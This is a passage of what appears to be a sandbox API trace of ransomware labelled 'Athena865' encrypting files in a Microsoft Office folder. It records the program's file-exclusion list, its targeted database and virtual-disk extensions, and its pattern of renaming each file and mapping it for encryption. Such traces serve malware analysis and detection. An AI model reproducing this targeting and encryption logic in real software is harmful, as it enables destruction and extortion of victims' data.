Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0139.788] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0139.789] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.789] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.789] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x76300, lpName=0x0) returned 0x154 [0139.790] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x76300) returned 0x2bb0000 [0139.813] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0139.813] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.813] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.814] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0139.818] CloseHandle (hObject=0x154) returned 1 [0139.818] CloseHandle (hObject=0x17c) returned 1 [0139.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0139.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.820] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x28178, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DBWIZ.VSL", cAlternateFileName="")) returned 1 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2=".") returned 1 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="..") returned 1 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="windows") returned -1 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="bootmgr") returned 1 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="temp") returned -1 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="pagefile.sys") returned -1 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="boot") returned 1 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="ids.txt") returned -1 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="ntuser.dat") returned -1 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="perflogs") returned -1 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="MSBuild") returned -1 [0139.821] lstrlenW (lpString="DBWIZ.VSL") returned 9 [0139.821] lstrcpyW (in: lpString1=0x241e8a8, lpString2="DBWIZ.VSL" | out: lpString1="DBWIZ.VSL") returned="DBWIZ.VSL" [0139.821] lstrlenW (lpString="DBWIZ.VSL") returned 9 [0139.821] lstrlenW (lpString="Athena865") returned 9 [0139.821] lstrlenW (lpString=".dll") returned 4 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2=".dll") returned 1 [0139.821] lstrlenW (lpString=".lnk") returned 4 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2=".lnk") returned 1 [0139.821] lstrlenW (lpString=".ini") returned 4 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2=".ini") returned 1 [0139.821] lstrlenW (lpString=".sys") returned 4 [0139.821] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2=".sys") returned 1 [0139.821] lstrlenW (lpString="DBWIZ.VSL") returned 9 [0139.821] lstrlenW (lpString="bak") returned 3 [0139.821] lstrcmpiW (lpString1="VSL", lpString2="bak") returned 1 [0139.821] lstrlenW (lpString="ba_") returned 3 [0139.822] lstrcmpiW (lpString1="VSL", lpString2="ba_") returned 1 [0139.822] lstrlenW (lpString="dbb") returned 3 [0139.822] lstrcmpiW (lpString1="VSL", lpString2="dbb") returned 1 [0139.822] lstrlenW (lpString="vmdk") returned 4 [0139.822] lstrcmpiW (lpString1=".VSL", lpString2="vmdk") returned -1 [0139.822] lstrlenW (lpString="rar") returned 3 [0139.822] lstrcmpiW (lpString1="VSL", lpString2="rar") returned 1 [0139.822] lstrlenW (lpString="zip") returned 3 [0139.822] lstrcmpiW (lpString1="VSL", lpString2="zip") returned -1 [0139.822] lstrlenW (lpString="tgz") returned 3 [0139.822] lstrcmpiW (lpString1="VSL", lpString2="tgz") returned 1 [0139.822] lstrlenW (lpString="vbox") returned 4 [0139.822] lstrcmpiW (lpString1=".VSL", lpString2="vbox") returned -1 [0139.822] lstrlenW (lpString="vdi") returned 3 [0139.822] lstrcmpiW (lpString1="VSL", lpString2="vdi") returned 1 [0139.822] lstrlenW (lpString="vhd") returned 3 [0139.822] lstrcmpiW (lpString1="VSL", lpString2="vhd") returned 1 [0139.822] lstrlenW (lpString="vhdx") returned 4 [0139.822] lstrcmpiW (lpString1=".VSL", lpString2="vhdx") returned -1 [0139.822] lstrlenW (lpString="avhd") returned 4 [0139.822] lstrcmpiW (lpString1=".VSL", lpString2="avhd") returned -1 [0139.822] lstrlenW (lpString="db") returned 2 [0139.822] lstrcmpiW (lpString1="SL", lpString2="db") returned 1 [0139.822] lstrlenW (lpString="db2") returned 3 [0139.822] lstrcmpiW (lpString1="VSL", lpString2="db2") returned 1 [0139.822] lstrlenW (lpString="db3") returned 3 [0139.822] lstrcmpiW (lpString1="VSL", lpString2="db3") returned 1 [0139.822] lstrlenW (lpString="dbf") returned 3 [0139.822] lstrcmpiW (lpString1="VSL", lpString2="dbf") returned 1 [0139.823] lstrlenW (lpString="mdf") returned 3 [0139.823] lstrcmpiW (lpString1="VSL", lpString2="mdf") returned 1 [0139.823] lstrlenW (lpString="mdb") returned 3 [0139.823] lstrcmpiW (lpString1="VSL", lpString2="mdb") returned 1 [0139.823] lstrlenW (lpString="sql") returned 3 [0139.823] lstrcmpiW (lpString1="VSL", lpString2="sql") returned 1 [0139.823] lstrlenW (lpString="sqlite") returned 6 [0139.823] lstrcmpiW (lpString1="IZ.VSL", lpString2="sqlite") returned -1 [0139.823] lstrlenW (lpString="sqlite3") returned 7 [0139.823] lstrcmpiW (lpString1="WIZ.VSL", lpString2="sqlite3") returned 1 [0139.823] lstrlenW (lpString="sqlitedb") returned 8 [0139.823] lstrcmpiW (lpString1="BWIZ.VSL", lpString2="sqlitedb") returned -1 [0139.823] lstrlenW (lpString="xml") returned 3 [0139.823] lstrcmpiW (lpString1="VSL", lpString2="xml") returned -1 [0139.823] lstrlenW (lpString="$er") returned 3 [0139.823] lstrcmpiW (lpString1="VSL", lpString2="$er") returned 1 [0139.823] lstrlenW (lpString="4dd") returned 3 [0139.823] lstrcmpiW (lpString1="VSL", lpString2="4dd") returned 1 [0139.823] lstrlenW (lpString="4dl") returned 3 [0139.823] lstrcmpiW (lpString1="VSL", lpString2="4dl") returned 1 [0139.823] lstrlenW (lpString="^^^") returned 3 [0139.823] lstrcmpiW (lpString1="VSL", lpString2="^^^") returned 1 [0139.823] lstrlenW (lpString="abs") returned 3 [0139.823] lstrcmpiW (lpString1="VSL", lpString2="abs") returned 1 [0139.823] lstrlenW (lpString="abx") returned 3 [0139.823] lstrcmpiW (lpString1="VSL", lpString2="abx") returned 1 [0139.823] lstrlenW (lpString="accdb") returned 5 [0139.823] lstrcmpiW (lpString1="Z.VSL", lpString2="accdb") returned 1 [0139.823] lstrlenW (lpString="accdc") returned 5 [0139.824] lstrcmpiW (lpString1="Z.VSL", lpString2="accdc") returned 1 [0139.824] lstrlenW (lpString="accde") returned 5 [0139.824] lstrcmpiW (lpString1="Z.VSL", lpString2="accde") returned 1 [0139.824] lstrlenW (lpString="accdr") returned 5 [0139.824] lstrcmpiW (lpString1="Z.VSL", lpString2="accdr") returned 1 [0139.824] lstrlenW (lpString="accdt") returned 5 [0139.824] lstrcmpiW (lpString1="Z.VSL", lpString2="accdt") returned 1 [0139.824] lstrlenW (lpString="accdw") returned 5 [0139.824] lstrcmpiW (lpString1="Z.VSL", lpString2="accdw") returned 1 [0139.824] lstrlenW (lpString="accft") returned 5 [0139.824] lstrcmpiW (lpString1="Z.VSL", lpString2="accft") returned 1 [0139.824] lstrlenW (lpString="adb") returned 3 [0139.824] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1 [0139.824] lstrlenW (lpString="adb") returned 3 [0139.824] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1 [0139.824] lstrlenW (lpString="ade") returned 3 [0139.824] lstrcmpiW (lpString1="VSL", lpString2="ade") returned 1 [0139.824] lstrlenW (lpString="adf") returned 3 [0139.824] lstrcmpiW (lpString1="VSL", lpString2="adf") returned 1 [0139.824] lstrlenW (lpString="adn") returned 3 [0139.824] lstrcmpiW (lpString1="VSL", lpString2="adn") returned 1 [0139.824] lstrlenW (lpString="adp") returned 3 [0139.824] lstrcmpiW (lpString1="VSL", lpString2="adp") returned 1 [0139.824] lstrlenW (lpString="alf") returned 3 [0139.824] lstrcmpiW (lpString1="VSL", lpString2="alf") returned 1 [0139.824] lstrlenW (lpString="ask") returned 3 [0139.824] lstrcmpiW (lpString1="VSL", lpString2="ask") returned 1 [0139.824] lstrlenW (lpString="btr") returned 3 [0139.824] lstrcmpiW (lpString1="VSL", lpString2="btr") returned 1 [0139.824] lstrlenW (lpString="cat") returned 3 [0139.825] lstrcmpiW (lpString1="VSL", lpString2="cat") returned 1 [0139.825] lstrlenW (lpString="cdb") returned 3 [0139.825] lstrcmpiW (lpString1="VSL", lpString2="cdb") returned 1 [0139.825] lstrlenW (lpString="ckp") returned 3 [0139.825] lstrcmpiW (lpString1="VSL", lpString2="ckp") returned 1 [0139.825] lstrlenW (lpString="cma") returned 3 [0139.825] lstrcmpiW (lpString1="VSL", lpString2="cma") returned 1 [0139.825] lstrlenW (lpString="cpd") returned 3 [0139.825] lstrcmpiW (lpString1="VSL", lpString2="cpd") returned 1 [0139.825] lstrcmpiW (lpString1="IZ.VSL", lpString2="dacpac") returned 1 [0139.825] lstrcmpiW (lpString1="VSL", lpString2="dad") returned 1 [0139.825] lstrcmpiW (lpString1="BWIZ.VSL", lpString2="daschema") returned -1 [0139.825] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.Athena865") returned 67 [0139.825] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.athena865"), dwFlags=0x1) returned 1 [0139.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.828] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=164216) returned 1 [0139.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0139.828] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0139.829] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.829] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.829] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28480, lpName=0x0) returned 0x154 [0139.830] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28480) returned 0x170000 [0139.836] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0139.837] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.837] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.838] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0139.839] CloseHandle (hObject=0x154) returned 1 [0139.839] CloseHandle (hObject=0x17c) returned 1 [0139.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0139.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.840] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DEFAULT.CSS", cAlternateFileName="")) returned 1 [0139.840] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.840] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.840] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2=".") returned 1 [0139.840] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2="..") returned 1 [0139.840] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2="windows") returned -1 [0139.840] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2="bootmgr") returned 1 [0139.840] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2="temp") returned -1 [0139.840] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2="pagefile.sys") returned -1 [0139.840] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2="boot") returned 1 [0139.840] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2="ids.txt") returned -1 [0139.840] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2="ntuser.dat") returned -1 [0139.840] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2="perflogs") returned -1 [0139.840] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2="MSBuild") returned -1 [0139.841] lstrlenW (lpString="DEFAULT.CSS") returned 11 [0139.841] lstrcpyW (in: lpString1=0x241e8a8, lpString2="DEFAULT.CSS" | out: lpString1="DEFAULT.CSS") returned="DEFAULT.CSS" [0139.841] lstrlenW (lpString="DEFAULT.CSS") returned 11 [0139.841] lstrlenW (lpString="Athena865") returned 9 [0139.841] lstrcmpiW (lpString1="FAULT.CSS", lpString2="Athena865") returned 1 [0139.841] lstrlenW (lpString=".dll") returned 4 [0139.841] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2=".dll") returned 1 [0139.841] lstrlenW (lpString=".lnk") returned 4 [0139.841] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2=".lnk") returned 1 [0139.841] lstrlenW (lpString=".ini") returned 4 [0139.841] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2=".ini") returned 1 [0139.841] lstrlenW (lpString=".sys") returned 4 [0139.841] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2=".sys") returned 1 [0139.841] lstrlenW (lpString="DEFAULT.CSS") returned 11 [0139.841] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS.Athena865") returned 69 [0139.841] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css.athena865"), dwFlags=0x1) returned 1 [0139.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.843] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0139.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0139.843] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0139.844] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.844] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.844] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x154 [0139.846] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0139.846] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0139.847] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.847] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.848] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.848] CloseHandle (hObject=0x154) returned 1 [0139.848] CloseHandle (hObject=0x17c) returned 1 [0139.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0139.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.848] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f81800, ftCreationTime.dwHighDateTime=0x1c913a0, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66f81800, ftLastWriteTime.dwHighDateTime=0x1c913a0, nFileSizeHigh=0x0, nFileSizeLow=0x19984, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Discussion.gta", cAlternateFileName="DISCUS~1.GTA")) returned 1 [0139.848] lstrcmpiW (lpString1="Discussion.gta", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.848] lstrcmpiW (lpString1="Discussion.gta", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.848] lstrcmpiW (lpString1="Discussion.gta", lpString2=".") returned 1 [0139.849] lstrcmpiW (lpString1="Discussion.gta", lpString2="..") returned 1 [0139.849] lstrcmpiW (lpString1="Discussion.gta", lpString2="windows") returned -1 [0139.849] lstrcmpiW (lpString1="Discussion.gta", lpString2="bootmgr") returned 1 [0139.849] lstrcmpiW (lpString1="Discussion.gta", lpString2="temp") returned -1 [0139.849] lstrcmpiW (lpString1="Discussion.gta", lpString2="pagefile.sys") returned -1 [0139.849] lstrcmpiW (lpString1="Discussion.gta", lpString2="boot") returned 1 [0139.849] lstrcmpiW (lpString1="Discussion.gta", lpString2="ids.txt") returned -1 [0139.849] lstrcmpiW (lpString1="Discussion.gta", lpString2="ntuser.dat") returned -1 [0139.849] lstrcmpiW (lpString1="Discussion.gta", lpString2="perflogs") returned -1 [0139.849] lstrcmpiW (lpString1="Discussion.gta", lpString2="MSBuild") returned -1 [0139.849] lstrlenW (lpString="Discussion.gta") returned 14 [0139.849] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Discussion.gta" | out: lpString1="Discussion.gta") returned="Discussion.gta" [0139.849] lstrlenW (lpString="Discussion.gta") returned 14 [0139.849] lstrlenW (lpString="Athena865") returned 9 [0139.849] lstrcmpiW (lpString1="ssion.gta", lpString2="Athena865") returned 1 [0139.849] lstrlenW (lpString=".dll") returned 4 [0139.849] lstrcmpiW (lpString1="Discussion.gta", lpString2=".dll") returned 1 [0139.849] lstrlenW (lpString=".lnk") returned 4 [0139.849] lstrcmpiW (lpString1="Discussion.gta", lpString2=".lnk") returned 1 [0139.849] lstrlenW (lpString=".ini") returned 4 [0139.849] lstrcmpiW (lpString1="Discussion.gta", lpString2=".ini") returned 1 [0139.849] lstrlenW (lpString=".sys") returned 4 [0139.849] lstrcmpiW (lpString1="Discussion.gta", lpString2=".sys") returned 1 [0139.849] lstrlenW (lpString="Discussion.gta") returned 14 [0139.849] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.Athena865") returned 72 [0139.849] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.athena865"), dwFlags=0x1) returned 1 [0139.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.852] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=104836) returned 1 [0139.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0139.852] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0139.853] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.853] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.853] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19c90, lpName=0x0) returned 0x154 [0139.854] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19c90) returned 